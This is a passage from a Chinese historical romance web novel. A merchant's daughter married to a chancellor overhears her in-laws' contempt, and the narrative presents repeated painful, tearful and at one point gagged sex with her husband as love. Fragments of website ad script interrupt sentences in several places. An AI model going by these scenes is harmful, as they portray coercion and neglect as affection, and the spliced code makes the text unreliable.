耿婳静静哭了好久才缓过来,呆滞地躺着平复心绪,又想到这些天称病的柳惜君,决定出门探望。 即使知道她在装病,但该做的面子活儿必须做足。 耿婳本想叫上青烟作陪,这丫头却不在。她又没唤动阿沁,只好一个人去。 她去了魏嵘院里,却不见人。听下人说,二奶奶在花厅。 耿婳心里疑惑,却也不曾多想,刚到花厅外,就听到柳惜君欢快的笑声。 她隔着镂空窗牖偷偷望去,只见气色红润 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的柳惜君正和夫君魏嵘相谈甚欢。而且,议论的话题好像是自己。 “要是没这个耿婳,我妹妹早进门了。”柳惜君语气愤愤不平。 “塞翁失马安知非福。若是她进了府,多少和你有竞争,到时候你还管得了家?” 柳惜君笑道:“也是。来了个不中用的也好,软柿子谁不爱捏呀?” “可惜了怀安公主,她要是能嫁尽量,我哥的新政绝对比现在顺。”魏嵘叹道,“他们也算青梅竹马,两小无猜,好一对珠联璧合的绝配……” 一想到没能成为皇亲国戚,魏嵘就长吁短叹。旋即想道耿婳,他又骂道,“不入流的小小商户敢攀我魏家门楣,长得就像个婊.子似的!” 柳惜君八卦笑道:“听说了吗,她生母好像还真是干这行的。” “有其母必有其女,难怪她不知廉耻爬床。”魏嵘道,“大哥压根没把她当回事儿。我听说,洞房都是老爷子逼的。我哥完事歇都没歇,直接回了政事堂。” “果真?”柳惜君咯咯笑了。 又道:“那她还挺可怜的呢。” 听着里边的冷嘲热讽,耿婳顿生恶寒,一时激得面色苍白、浑身打颤,脚底好像结了冰似的,再不能动弹。 这时,一个丫鬟给两人添茶。耿婳一眼认出,那是青烟。 她果然是柳惜君派来探听情报的奸细。 柳惜君问:“她近日如何?” “回奶奶,这几日她病没好全,今儿跟相爷一道去了公主府,这个时辰还没回来呢。” 魏嵘问:“她与相爷……如何啊?” 青烟明白他话中之意,回道:“相爷回府只宿在书房,从不见她。一日三餐,都是分食。” 柳惜君道:“你且帮我盯着,有什么情况随时报我。” 她又对魏嵘道:“夫君不必生气,上次我诓她算了一晚上账,就当给你出气了。以后日子还长着呢,可别为她烦恼。” “是啊,她哪里配。二爷定要放宽心呀。”青烟道。 劝慰的软语飘进耿婳耳里,宛如利刃般一刀刀剜着她的肉。她呆站在廊檐下不知多久,才意识到自己该走了。 柳惜君确实没病,她也不该来。 阿沁候着一桌晚膳,等啊等,才见耿婳垮着肩膀垂着双手跨进门槛,两眼直勾勾望着前方虚无的一点。 “小姐?” 阿沁叫她,她不言语。 耿婳柳眉微蹙,小嘴微张。额前碎发被风吹到嘴角,也不见她打理。 “……魔怔了?” 耿婳悻悻回屋,好像没有看到她。 阿沁:“有病。” 玄海将漆盘里的菜肴端进书房,却不见主子人影。 暗室之中,魏巍仍在忙碌。他这个官职的人,本可不必事事亲力亲为,但本次春闱关系重大,是新政实行后真正意义上的第一次具体实践。 绝不能有任何差池。 魏巍回家一刻未歇,忙碌于笔砚之间,一忙就忘了时辰。 直至室内昏暗,他才意识到该点火烛了。又不知过了多久,等他抄完最后一套真卷时,生疼的手腕好像再也拿不住东西。肌肉本能一松,紫毫摔到案侧滚落于地。 魏巍眼睛酸涩发红,模糊一片,过了许久视野才明快起来。太阳穴更像插进了汤匙,不停地搅啊搅,搅得脑子又沉又麻,嗡嗡作响。 从未这般累过。 浑浑噩噩之际,清脆的琵琶声如裂帛般传来,撕碎了他颅内乱麻。 魏巍走出暗室,空灵清雅的声音更加清晰。悠扬的乐声带着缕缕缱绻,如一剂良药,治愈着他浮躁的心。 见他出来,玄海大喜过望。刚要给他上菜,却见魏巍头也不回地走了。 11. 011 “你娘要的布料。” 一人从院门口把包袱扔进来。小耿婳吭哧吭哧跑过去,捡宝贝一样把大包袱捧到怀里。然后歪过脑袋,讨好似的朝那人一笑。 “谢谢您。” “少废话,银子!”那个下人龇牙咧嘴恨不得吃掉她。 小耿婳也不恼,娘亲教她礼让,所以小耿婳也不生气。她吓得收住笑,听话地掏出姑姑刚给的钱袋子。她强忍着恐惧,慢吞吞走过去递钱,还没递过去就被那人一把抢走。他力气过猛,带到了小耿婳。 她一下摔倒在地,包袱坠到脏兮兮的地面,干净的布匹滚落一片,瞬间沾上了灰尘。 那人理都没理她,掂了掂钱袋,冷哼一声走了。 望着散落一地的什物,小耿婳心疼得红了眼圈。她一边捂嘴小声哭,一边心里自责。 她怎么这么笨这么没用,连姑姑交代的小事都干不好。她还有什么脸回屋见她们。 屋里林氏缠绵病榻,熹微正给她喂药,一到秋天她的咳疾就犯了。小姐抱着脏布揉着眼睛回来,熹微急忙撂下手边碗匙。 小耿婳怕她们担心,等泪水停了,眼睛干了,再回屋去见娘亲和姑姑。 杜姨娘掌管中馈,愿意发来的布匹,自然是最差的那一档。 过冬的衣料要自己缝制,熹微可以穿去年旧的,夫人和小姐却不行。她服侍完林氏,又忙去擦拭布匹,裁衣缝线。 小耿婳托着腮帮,认真看姑姑埋头缝补。她当时说,长大后也要给娘亲和姑姑缝衣裳。 娘亲打趣她,问她为何只想学缝衣裳,不想学做胭脂。 耿婳眨眨大眼睛:“因为没人教我做胭脂呀。” 林氏笑眯眯摸着她的小脑袋,答应她等自己病好了就把秘方传她。 可耿婳还没等到那天,杜氏就把她带走了。 一切都是耿忠的主意。他见她越长越像林氏,打算做个长远投资。他给她请了最严苛的先生和嬷嬷,教她通读四书五经,领会礼教女德。 直到林氏离世,她都没有再见过娘亲一面。耿忠大操大办了这场白事,在街坊邻居口中落得了好名声。结束后他第一时间将林氏留下的值钱家当据为己有,其中就包括她亲制的美容药方和工艺技巧。 而给耿婳剩的,只有一个旧琵琶。 那是母亲年轻时在教坊惊艳四座的乐器,也是耿婳童年里与她朝夕相伴的记忆结晶。 葱根似的手指转轴拨弦,带着无尽思念的弦音穿过窗棂飘零至清冷月光下。记忆里远处的母亲终于从病榻上坐了起来,她蹒跚着步履,慢慢朝她走来。 模糊的身影愈发清晰,她好像在朝女儿笑。 弦音忽而转急,乐声凄婉,如泣如诉。 魏巍闻声从外面进来。 内室里,橘黄烛光瑟缩摇曳。耿婳一袭素纱衣裙,跪坐于软榻,手抱琵琶闭目弹奏。她眉心微蹙,默默滑下清泪。 芙蓉泣露,我见犹怜。 魏巍站在内室门口,静静打量眼前人。她总是这般沉静,哪怕哭得梨花带雨,也不见一分丑态。 直到曲子奏完,她还沉浸其中,丝毫没注意外人到来。 魏巍没出声,等了一会儿,等到她睁开眼睛,与他对视。 “大人……”耿婳低头,羞红了脸。 他解释一句:“我寻声而来。” 耿婳点点头,无措道:“妾身、妾身扰了大人清净,罪该……万死。” “无妨。” 他难得这么好说话。 耿婳悬着心的仍放不下来,大晚上的他来找他,是不是还要让她再跪一夜。 她忙摆正姿势,端正跪好。 魏巍走来,隔着榻上小案与她相对而坐,这才注意到小案上平铺着的美人画像。 少女抱紧琵琶,大半张脸躲在琵琶后面,见了夫君比见了老虎还胆怯。 “这是你?”魏巍垂眸看美人像。 耿婳摇摇头,他若不问,她一个字也不敢多说。 隔着微弱的烛光,魏巍细看旁边题词——“扬州林如烟”,才知是她母亲。 难怪他认错。母女二人简直一个模子刻出来。 画像上的年轻女子身段玲珑如山峦,容貌妩媚似精魅。虽是笔墨丹青下的虚像,却好似真人一般栩栩如生。尤其那双眼睛,明明一动不动,却勾人于无形。气质妖冶,不似良人。 “方才弹的什么曲子。”他最爱听琵琶,也曾遍访名曲,只这首闻所未闻。 “《离人泪》。” “谁教你的?” “娘亲。” “她是干什么的。” 耿婳抱紧琵琶,垂睫低声:“她是……伶人。” 魏巍查过耿婳身世,当时只知道她生母林氏病逝多年,未曾料是这等身份。 室内安静得出奇,只听道烛火瑟缩的细微声响,仿佛空气都凝固了一般。 “我与怀安公主并无私情。”半晌,他没来由说了一句。 说完他又有点后海,自己的事何时给旁人讲过。他这么一说,好像是在刻意解释什么。 她跪得端正,抱着琵琶向他弯下上身。单薄纱衣映出雪白的后背和柳腰一截鲜艳的红绳。 他没发话,她仍老实俯首跪着,丝滑柔顺的墨发垂下,把似雪的脖颈映得更加皙白。 “你就这么喜欢跪?”他反问。 这应该是让她起身的意思吧。耿婳犹豫了一下,壮着胆子抬脸。 他脸色无虞,没有生气。她缓缓坐直。 动作伸展之间,发丝微乱,薄可透肉的纱衣松松散散,交领向两边滑去,莹白滑腻的双肩若隐若现。 藏不住的冰肌玉骨,消不尽的媚态极妍。 魏巍突然觉得横亘中间的小案很碍事。 “沐浴了?”他忽然问。 耿婳娇怯嗯一声,还没来得及反应,伴随小案翻倒的沉闷声响,她被拽进了男人怀里。 母亲的画像随小案一同掀翻在地。 “等一下……” 她想拾起画像,又哪里动弹得了。 天旋地转间,耿婳被横抱进拔步床,男人即刻覆身而来。 她天生的一双含情目,明媚潋滟。被泪水洗涤过的纤长睫毛一簇一簇聚在一起,像盛开的情丝,勾魂摄魄。 只一眼,就叫人沉沦。 耿婳揪住他的衣襟,心里害怕得要死,却仍一副任君采撷的顺从模样。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 素纱衣裙很快被粗鲁剥去,身子一凉,耿婳羞怯怯地别过头,只想消隐于黑暗之中。 “大人……” 温软的娇音恨不能渗进人的骨肉里,吹弹可破的雪肤因过度紧张染上一层薄薄的粉色。 可惜室内灯火晦暗,实在看不真切。 魏巍蹙眉:“来人,添烛。” 阿沁和青烟敛目垂睫而入。红帐内衣冠整洁的大官人背身而坐,怀里娇滴滴的人儿被藏得严严实实。 室内灯火葳蕤,黄灿灿的烛光射入红帐内,为耿婳雪白柔嫩的肌肤透进柔光。 骤然明亮的光将她的胴体照得一清二楚,羞耻之心激得她眼底渗出一层泪雾。耿婳本能地缩起身子,却被男人扳住,动弹不得。 魏巍晦暗的目光一寸一寸在玉体上挪动,最后望见那块多余布料。 “脱了。” 他的语气不容置喙,好像生气了。 耿婳乖顺地点头照做。 是她不对,不该穿极艳的绛红鸳鸯戏水肚兜——这是他不喜欢的。 红绡帐暖,人影交叠。云开雨收之时,已是后半夜。 魏巍完事去了浴房,没留半分眷恋。 烛火早已燃尽,半开半合的红帐内,乌发贴身的少女香汗淋漓,心里偷偷欢喜。 终于有人喜欢她了。 她从来没和人如此紧密相连过,而这个人刚刚好是她情窦初开时就悄悄喜欢着的。 魏巍回来之后没注意眼前人,阖目即刻入睡。耿婳还在回味,却听到了他平稳有序的呼吸。 魏巍明早约了许渊一起去汪府看望汪子元祖父,没空耽搁。 即使歇得晚,强硬的生物钟依旧让他在卯时睁开了眼。刚要起身回书房,肩处传来有节奏的热息。他垂眸,看到了熟睡的耿婳。 她斜倚在他身边,腰肢上挂着皱巴巴的红肚兜,再往下别有韵致。 魏巍又端详了她一会儿,这好像是他第一次和新婚夫人同宿同眠。 昨夜的虚火消了大半,醒后明明神清气爽,可又多看她一会儿,那股火又蹿了上来。 耿婳迷迷糊糊睁眼,却又看到这人在看她。她顺着他的目光望去,看到欺霜赛雪的婀娜春景。 昨夜她累极了,睡前甚至连穿衣的力气都没了,就这样将就一夜。耿婳刚要拿手挡,却被他抓住反压到头顶。 “相爷。”她嗓音沙哑,一醒来就头昏脑热,实在配合不得房事。 魏巍又压了上来。 和昨晚一样,她全程都很安静,要么抓着被单排解,要么咬唇拼命隐忍。眼泪默默自眼角划出,隐入浓密的长发之中。 熹微姑姑曾告诉她,头一回会疼,以后就不会了。而且会一次比一次舒服。 现在看来,都是些哄人的假话。 这一次,斧凿钻心般的痛楚持续时间比夜里还久。她忍着剧痛,疼得险些哭出声来。 可她不敢,她只要嘴里露出一点声响,他就会加倍地肆无忌惮。 直等他餍足离去,留耿婳一人裹着被子虚弱不已。 身上是疼的,心里却欢喜。 他终于肯和她睡觉了,哪怕自始至终没有任何心灵交集。 12. 012 许渊在马车里等了又等,那个衣冠禽兽才不紧不慢掀帘进来。 “你怎么回事?”平日向来守时,今日这般怠慢! 许渊刚要发泄,却闻到他身上莹莹清香,喉咙里立刻发出诡异的奸笑。 “大清早的,吃这么好。” “少废话。”丞相正襟危坐,眼底是不容调笑的正经。 “嘶——”许渊倒吸一口凉气,知道他这人爱装,没再吐槽。 马车很快到了汪府。 汪家自大奉建国便世袭侯位,至今百年有余,只可惜人丁稀少,汪子元位高权重的叔父前两年暴毙后,汪家开始走向落魄。 年迈的祖父苦苦支撑。他曾是先帝帝师,多次参与科举考试拟题。 魏巍备了厚礼。 再次见到汪子元时,他比上次消瘦了不少,眼袋上挂着浓重乌青。 “祖父用完早膳,刚睡下。不便打扰。” 许渊惊道:“这个时辰用早膳?” 汪子元嗯了一声,“祖父回来后高热不退,身体每况如下,我昨夜侍疾,听他交代后事。” 许渊斜睨了魏巍一眼,两人慰问关心完,汪子元也没心思再客套,只留他们在前厅喝茶,又去了后宅。 “你真该备份厚礼!”汪子元一走,许渊立刻道。 魏巍道:“他真不该去拟题。” 许渊道:“你还有脸说。” 魏巍毫无愧色,“家中有亲信参考,他当出题官本来就瓜田李下。”他要在此次科考中大展拳脚实行新法,为了避免波及自己人,他在事前就与汪家私聊过。汪琳不是不知锁院制度,却还要蹚这场浑水。 “走吧。” 魏巍没时间耽搁,刚出厅到廊檐下,就见到拄着拐杖年过古稀的小老头。 此人乃当朝太后的嫡兄,身份显赫。先帝在时,他任太子太傅。先帝驾崩前,将他临危受命,拜他为司空,成了托孤大臣。 太子登基后体谅他年老体虚,特命他赋闲于府,免了朝堂听政。名为照拂,实则是移出了权利中心,目的是为新政变法让路开道。 他在东宫与许渊、子元及刘理一同做伴读时,王司空教习东宫,相当于他们的老师。而王司空还有另一重身份——刘理的外公。 尚隔着一段距离,魏巍就闻到了他身上难以遮蔽的老人味。 王司空老眼昏花,还没看清远方二人。 魏巍快步上前行礼,“见过司空大人。” 王司空愣怔一会儿,眯眼认出了这个高他三头的年轻人,这才迟缓得笑了笑。爬满斑纹褶皱的脸上总算有了一丝生机。 “丞相千尊之体,岂能拜我这行将就木之人?” 他声音沉闷不清,像垂死之人最后一次发音。 “魏某承蒙司空点拨,才能登上相位。五载教诲之恩,没齿难忘。”知他耳背,魏巍俯身大声说。 王司空乐乐呵呵朝他笑,好像并未因外孙断腿的事记恨于他。 “弟子许渊,见过老师!”许渊乖巧作揖。他在几人中诗才最盛,也是王司空课上表扬最多的学子。 王司空也朝他招呼。他也是来看老友的,刚好碰到了他们。含蓄几句,他被侍从扶去了正厅。 喝茶之时,汪子元的父亲汪昊进来与这位身着紫袍的尊贵老者行礼。 “哎呦呦,折煞老朽了。” “司空大人屈尊而来,寒舍蓬荜生辉。眼下局势您不是不知,改革派这是要将火引到科考上……” 一旦涉及科考,势必波及官员任免,牵一发而动全身,老一辈的官宦之家勋贵门庭皆要为寒门让步。 “不妨事,不妨事。”王司空捋着胡须仰头笑。 “魏巍那厮仗着官家器重,手段愈发肆无忌惮。司空大人,您威望最重,岂能任由他们胡闹!” 汪昊言辞激切,王司空泰然自若。 “汪大人消消气,改日去老朽垂钓如何?” 王昊急道:“新政以来朝堂风起云涌,眼看就要变天,司空大人还有这雅兴?” 当真是沉得住气。 半晌,王司空慢条斯理喝完茶,道:“我听那处渔民说,风浪迅猛时容易钓上大鱼。可在那之前,水面总是很平静。” 魏巍回府直奔书房,他把考生的真卷入档。又将密封好的誊本归类放置,一并送还贡院,由内帘官拿去批阅校对。 正要离开,玄海从外面进来,“相爷,夫人她……病倒了。” 魏巍走后不久,姽婳就发起了高热。 她去公主府时病就没好全,奔波大半天回来又被他折腾。铁打的身子也受不住这般摧残,何况她还是个身娇体弱的。 内室拔步床里,她盖着厚厚的锦被不省人事,阿沁青烟两个丫鬟都在身侧侍奉。 魏巍一进来,两人恭敬福礼。 “怎么回事。” “回相爷,已经请太医看过,开了药。夫人身体亏空,需要静养。” 魏巍坐到床边。 耿婳双目闭合,娇.喘微微,巴掌小脸因高烧染上一层靡艳。唇珠红肿得分外明显,也不知是什么时候咬的。 魏巍把手覆到她额头上。热得发烫。 耿婳浑浑噩噩睁开一条缝隙,眼前出现了面色沉静的男人。 “相、相爷……” 她即刻清醒了些,想支起身子。 “病了,就别动。”魏巍按住她的肩头。 “可吃过药了?” “嗯。”她羞赧地点头,试图把整张脸藏进浓密的乌发里。 “科考没处理完,放榜前我恐怕回不来。你好生休息,等病好了,我命玄海接你去政事堂。” 这是同她朝夕相处的意思吗? 耿婳红脸小声应下,心里甜丝丝的。她被喜欢的人关心啦,原来在这世上还有人在意她。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 魏巍又扭头对两个丫鬟交代了不少,皆系悉心照顾耿婳的嘱托之意。他嘱咐完刚要走人,衣袖就被病榻上的小夫人拽住。 耿婳温吞说:“相爷,相爷可否帮妾身个小忙。” “你说。” “妾身想从娘家、从娘家接个下人进府……”耿婳正要再细细解释,却见魏巍点头同意。 她身上还有一处伤,方才没好意思同太医讲。只有熹微姑姑能帮她。 魏巍走后不久,熹微就被人接进相府。 门可罗雀的后院因魏巍的光顾而变得格外热闹。柳惜君让府里丫鬟婆子送来一大堆礼品,吃的用的,皆是上乘,就差把巴结俩字贴脑门上了。她嘴上说得好听,又称这是婆婆杨氏的意思。 耿婳知道她在撒谎。自她进门后,杨氏就没给过她好脸,就连她两次卧病,她都不曾亲自看望。柳惜君说这些熨帖话,只是走个过场而已。 耿婳不好拆穿,同她虚以为蛇几句,体面地打发人走了。 阿沁和青烟也对她恭敬了不少,对熹微姑姑也十分敬重。 耿婳知道,一切的转变都是魏巍的“功劳”。想在府里立足,没他的宠爱就会步履维艰。 原来想到这一层,耿婳都止不住酸涩痛楚。而今却比吃了糖葫芦还甜。 两度行房甚是辛苦,可换来的是与他紧密无间的机会。他们肌肤相融、契为一体,没有比这更黏腻美好的事了。 耿婳揪着发丝,一想到他,嘴角翘得飞起。 “想什么呢,笑这么开心。”熹微俯身掐她脸蛋,瞥见她颈上的青梅时,噗嗤笑出声。 耿婳把头埋进被窝里,瓮声瓮气道:“姑姑你不知道,有人喜欢我啦。” “姑姑当然知道,来,先检查身体,让姑姑看看。” 纵使从小被熹微看着长大,可当这她的面儿暴露私.处仍是羞人。 耿婳红着脸露出伤口,上药时牵扯到那处十分疼,她掐着手心强忍。 “你啊,可不能太纵着魏大人,爱惜自己才是首要的。” 转念一想,她又疑惑道:“大人清明廉正,不似耽于床笫之人,许是旷得久了才不分轻重?你与他几天一次,一次多久?” 熹微一细问,耿婳就羞了,支支吾吾不肯说。 “你可要劝他节制些,不然以后受罪的是自己。莫把我的话当耳旁风,不然吃亏受罪的可是自己。” 耿婳没接话。她好不容易能和魏巍亲密无间,这样的机会,不想错过。 “我的药呢?” 熹微问:“什么药,不是吃过了?” “还想再吃一次。这样好得快。” 只要好得快,就又能去见他了。 “你个傻丫头。”熹微捏捏她的鼻子,露出宠溺的笑。 耿婳还求熹微姑姑去市上采买云母。见不到魏巍的这些天,她也不想闲着。总要为他做些事。 13. 013 春闱过后,贡院闭门谢客,内部批阅校对考卷,一切都是那般井井有条。魏相每日都来此检阅,可见有多重视。 朝廷之上,人人自危,即便各个心生不满,却也不见一人站出来为批驳新法开路。众人皆是你看我我看你,恐大祸临头,持观望状态。 直到怀安公主下嫁大理寺少卿的消息公开,引得朝廷一片哗然。刘家瞬间门庭若市,登门拜访者恨不能踏破门槛。 谁人不知他与丞相不和,此次倚靠上公主势力,必然能为保守党划出一片庇荫。 另外一边,魏巍仍像从前那般从容不迫,每日照常宿在政事堂,忙起来昏天黑地,茶饭全无,时间久了未免身心俱疲。 魏巍将香炉燃得更浓,头昏脑涨之时,也不得纾解。 “离府几天了。”他阖目问。 玄海回道:“加上今儿,有十三天了。” 魏巍凝神。十三天,还没好全? “回府取一个新镇纸。”他顿了顿,又道,“顺便……” “小的明白。”玄海领命,刚意味深长的一笑,就被魏巍瞪了一眼。 耿婳这些天心情极好,除了药物补品,嘴就没停过。熹微姑姑也管不住她,深知她小时候受限,长大了这才报复性胡吃海塞。 玄海来奉命问安。耿婳欢喜得难以言表。她早就好了,因为心里想着要早点见到他,身子也痊愈得快。 “等我一下,我去梳妆,马上就好,马上!”耿婳慌得从榻上起来,熹微按住她,眼神示意她稳重些。 屏风后面的玄海低头笑了。 耿婳现在有很多新衣服,她每天穿衣都不重样。魏巍不喜欢张扬艳丽的那一类,于是她从里到外换了一素净的。 她天生眉目如画,朱唇不点自红。可素颜见他不好,耿婳就在脸颊微微点涂了些胭脂。 这是她头一次进魏巍的书房。 博古架上摆放着各式各样的珍贵古玩,精致华丽,亮眼夺目。 耿婳一进门就这些充满格调的东西所吸引。他收藏的物件,无论古董花瓶,还是笔墨纸砚,必须外观精美,颜值上称。 她的目光跟随玄海,落在了抽屉里的一块块镇纸上面。有象牙镂空雕花的,也有金镶玉嵌玛瑙的,还有…… 见耿婳在注意这边,玄海道:“相爷在外办公,托我拿一块镇纸过去。” “政事堂没有多余镇纸?” “有是有,相爷偏叫我回来取。估计是用自家的东西更顺手。” 玄海从华贵精美的镇纸中,拿出一块黑漆漆无雕饰的。 耿婳不解问他,那么多好看的,偏要取个最不起眼儿的。 玄海回道:“夫人不知,相爷爱把美妙之物留在府里珍藏,一般不会动用,只做摆件,看着舒心那才是最要紧的。” 许大人也曾讽他主子是个不折不扣的唯美主义,什么都要最好的。什么是最好的?最美的就是最好的。漂亮的摆设,即使不实用,也是魏巍的心头好。 耿婳领悟,对他笑道:“怪不得玄海是相爷身边的红人,因为你也是个百里挑一的俊朗之人啊。” 玄海被夸得红了脸,一时竟不知怎么接话。 耿婳随他到了政事堂,自马车下来后静悄悄进了魏巍办公的屋里。他于书案前埋头敛目,挥笔疾书,丝毫没注意耿婳的到来。 “相爷。” 纤纤玉手伸来,递上一块镇纸。 硬邦邦的漆黑镇纸将那双手愈发衬得白皙娇嫩,她手上肌肤或许和身上一样娇软,一揉就会轻易弄出红印来。 顺着素手往上,是淡蓝色纹雪梅的交领大袖,衣领紧紧裹着玉颈,不愿多露出一寸肌肤。纤长浓密的乌发以简洁的玉簪束起,不见丝毫凌乱。 整个人娟秀素雅,大气端庄。 “嗯,撂下吧。”他垂眸,不咸不淡道。 耿婳把镇纸铺在正书就的文册上,他又旁若无人地埋头苦干。 她好奇地环顾四周,他的值房不似家中书房那般华美个性,陈列布置得素净低调,所用文房物件看着标准刻板,平平无奇。 她侍立在旁边,不再乱瞧乱看,安安静静陪着认真写字的夫君。身形轩昂挺立,气质冷清庄重。 男人侧颜骨相极佳,三庭五眼都长在了大奉朝标准的审美之上。 女娲捏他的时候,一定费心了。 似是意识到她在偷偷痴视,男人的凤眸缓缓瞥来,似是礼貌警告。 “病好了?” 耿婳垂下眼,小扇般的睫毛心虚地扇动着,闷声嗯了一下。 见他落下的笔迹愈发浅淡,耿婳眼疾手快地磨墨润笔。离着近,她注意到一边摆放的弥封试题,又瞅见魏巍眼下常见的乌青。 “相爷辛苦,春闱答卷还要亲自抽检,一定注意身体别太累啦。”耿婳把打磨已久的腹稿说出来。她怕出错,说得极慢。 魏巍顺着她的视线望去,惊道:“你识字?” 商女竟然识字。耿家对她也算不错了。 耿婳没想到他会这么问,正揣度着他的意思,手里不稳,墨条掉到案上。她自责着去清理。挨着他稍近了些,身上清香也暗暗传了过去。 耿婳小心翼翼清理着染上墨水的案面,心里担忧着他会不会生气。 魏巍始终没说话,耿婳更不敢看她,只低着头收拾。还没弄好,腰后压来一只手,倏忽将她拦腰抱起,进了旁边隔扇门。 耿婳被放到榻上时,身上衣物早已松散不堪,向上掀开的裙子像极了盛开的花瓣,只等他来采撷。 繁复的服饰一件件扯下,最后他望见里面月白色的空山圆月肚兜。 耿婳紧张地微蹙柳眉,缕缕青丝护着红彤彤的脸颊,她顺从地躺在榻上,静静等他更进一步。 迟迟不见动静,她压下心底期待,微微抬眼。魏巍正揪着白肚兜细看,他面色沉静,却能从微抿的薄唇上窥见几分不满。 耿婳羞急了,耻于求他,却又急不可耐。 “相爷……”含含糊糊两个字从喉咙里出来,染上了一股娇娆的媚劲儿。 哪个男人受得住。 刺骨的痛苦再一次席卷而来,疼得她蜷起手指脚趾,眼角激出生理性的泪花。 正欢愉时,外面传来脚步声,玄海在外室接待着什么人,寒暄着不知在说些什么。 耿婳紧张得不敢发出一点声响。 外面人的声音越来越大,伴随着逼近的脚步声,她听到有人在喊:“伯琳,不是一起去青云楼?” 他旁边的玄海一个劲儿拦,“许大人,您不能进去!” 许渊哪儿会搭理他,哐哐拍门:“魏大丞相,干什么呢!” 外面的动静近在咫尺。即使拴着门,耿婳仍又惊又羞,可魏巍动作节奏不减反增,仿佛在和外面的催促较劲儿。 耿婳被欺负得红了眼。她疼得厉害,再也忍不住了。发出娇.吟前,他将肚兜揉成一团塞满她的樱口。 耿婳被迫张着嘴,死死咬着肚兜,一张脸埋进枕头,发出几声呜呜嗡嗡的哼唧。 她受着锥心的痛苦,感受着他带给她的最原始、最野蛮的爱。身体明明是难受的,但心里生出极致的幸福感。 她活了十七年,从来没体验过这般强烈的快意。是她的男人给了她这种前所未有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的感觉。即使痛苦,她也愿意。 外面不知何时没了动静,这和他们也没关系。因为魏巍一旦开始,就不会轻易停下。耿婳泪水簌簌流下,承受着无法抗拒的痛楚。 完事时,耿婳转身过来,用最后一丝力气勾住他的脖子,贴到他怀里。 她艳香熏脸,粉色生春,雪肤粘黏着长长的黑发,柔柔弱弱得想要渴求更多的温存。 “相爷……” 耿婳讲话总是温温柔柔,这种时刻更蒙上娇滴滴的颤音,好比贫壤里长成的弱柳,静静等着他春风般的抚慰。 男人兴致一消,就无心停留。发现她在撒娇时,魏巍眉头一凛,冷淡道:“还愣着干嘛。” 两人贴在一起实在黏腻,一点也不舒服。魏巍推开她穿衣提靴,须臾间又成了衣冠楚楚的紫袍权臣。只留她一个人不着寸缕跪坐在凌乱的榻上。光天化日,显得那么不伦不类。 魏巍疑惑地瞥她一眼,好像在说“怎么还不收拾”。没等她再言语,他擦去额上细汗,径直出了隔扇。 门没关紧,透进了凉风,吹得她有点冷。 耿婳蜷起身子,环腿抱膝,为自己孟浪的行径感到羞耻。相爷本来就忙,她更应该体谅才对,干嘛非要撒娇添乱。 只要他还愿意碰她,就是好的。起码说明她没那么讨他嫌了。 耿婳安慰着自己,穿好衣服,步履缓慢地出来。 魏巍认真处理公务,他面色平静,束发一丝不乱,好像刚刚什么都没发生过。他闻声也没往她这里瞟,耿婳已经没有逗留的理由了。 她拿出一个梨花木小方盒,放到他案前,小声道:“这是妾身特意做的云母粉,给相爷用。” 魏巍停笔。 云母粉?给他用? 看盒子就知道是女人用的东西,他为何要用。 “……可以遮盖眼下。”耿婳怯怯道,说完瞥了瞥他的黑眼圈。她幼时曾见母亲制作过云母粉,遣熹微买回来后,又让她教着制作。 姑姑夸她制粉水平一流,有母亲的天赋。耿婳花了十几天才做好,还单买了个精美木盒盛放。只为今天送给他。 魏巍长得端正英俊,皮肤肌理也好,并无老态。只是常年熬夜,黑眼圈重了些。他自己从不介意,岂会在意旁人介不介意。 他随口道:“放下吧。” “好。”她垂下的两只手握在一起,静静站在那里,等着他挽留。 “回去歇着,明日再来。” “嗯嗯。”听了他的话,她淡笑着点头。 至少她明日还能来看他。 这就够了。 耿婳一走,许渊又来了。 “别以为我没听见!” “听见什么。”魏巍头都没抬,仍在奋笔疾书。 许渊嘿嘿笑,刚要犯贱就被魏巍警告地盯了一眼。这种眼神,任谁都会不寒而栗。 许渊干咳两下,瞥见案上木盒,赶紧岔开话题:“这是什么玩意儿。” “打开看看不就知道。” 许渊打开一看,啧了一声:“女人家家的东西。” 又道:“那丫头送的?” “还能有谁。”魏巍道。 “她给你的,你就收好了呗。” 魏巍没接话。 这种东西出现在他身边,他会没面子的。 许渊眼珠子一转,道:“哦,你不喜欢啊。那我拿了呀。” 魏巍笔一顿,没说话。半晌才道:“随你。” 许渊本来就是逗他,自然不会真的拿走。看这货死撑着张臭脸,他只想笑。 “呸,你个闷葫芦。” 14. 014 浴房里,耿婳虚弱地泡进浴桶,唯有温热的水汽能舒缓激烈房事后酸软的身体。她双臂环腿,望着酸麻肿痛的膝盖,上面还留着清晰的红印,是在榻上跪出来的。 耿婳勾唇眯眼笑,这可是他留给她的痕迹呀。 这世上除了他,再没人愿意与她如此亲密无间。也只有他,愿意接纳像她这样从小被唾弃轻蔑的万人嫌。 一想到这儿,耿婳就欢喜得不得了。她表现得好,所以他才奖励她。当然她也有做得不对的地方,就是穿错了肚兜,惹他不悦。 这是耿婳意料之外的。她没想到魏巍会不喜欢浅淡的白肚兜。不仅不喜欢,甚至脱都没脱,连带着也没碰她胸部。 他之前明明很爱揉的。 她双手撑膝托腮,哀怨地叹了口气。 上回她在府门口等他,因为穿得艳丽被他嫌弃。这次刻意从内到外穿得淡雅娟秀,又惹他不快。丞相大人的心思真的好难猜。 或许,他喜欢她外里端庄内在风骚的那种? 耿婳歪头想了好久,脑海里又浮现出他赤身裸体、鬓发染汗的模样,直接羞红脸颊,嘴角又翘到了天上。 她眼里带笑,满脑子都是夫君。忽而想起他今日穿得革靴有点发旧,于是她决定给他做双新的。 之后的很多天,耿婳每日都去政事堂看望他。当然,也免不了最亲密的接触。他还是老样子,回回弄得她泪流满面,身痛体乏。耿婳乐在其中,忍着不适也会乖顺配合。 她会帮他换洗衣物,送茶送饭,也会磨墨陪同于案前。她识字通文,才学比他预料得高出不少。 魏巍还算满意,允许她同他一起审阅贡院送来的试卷。偶尔还许她宿在这里,两人共挤一张小榻,相拥而眠。 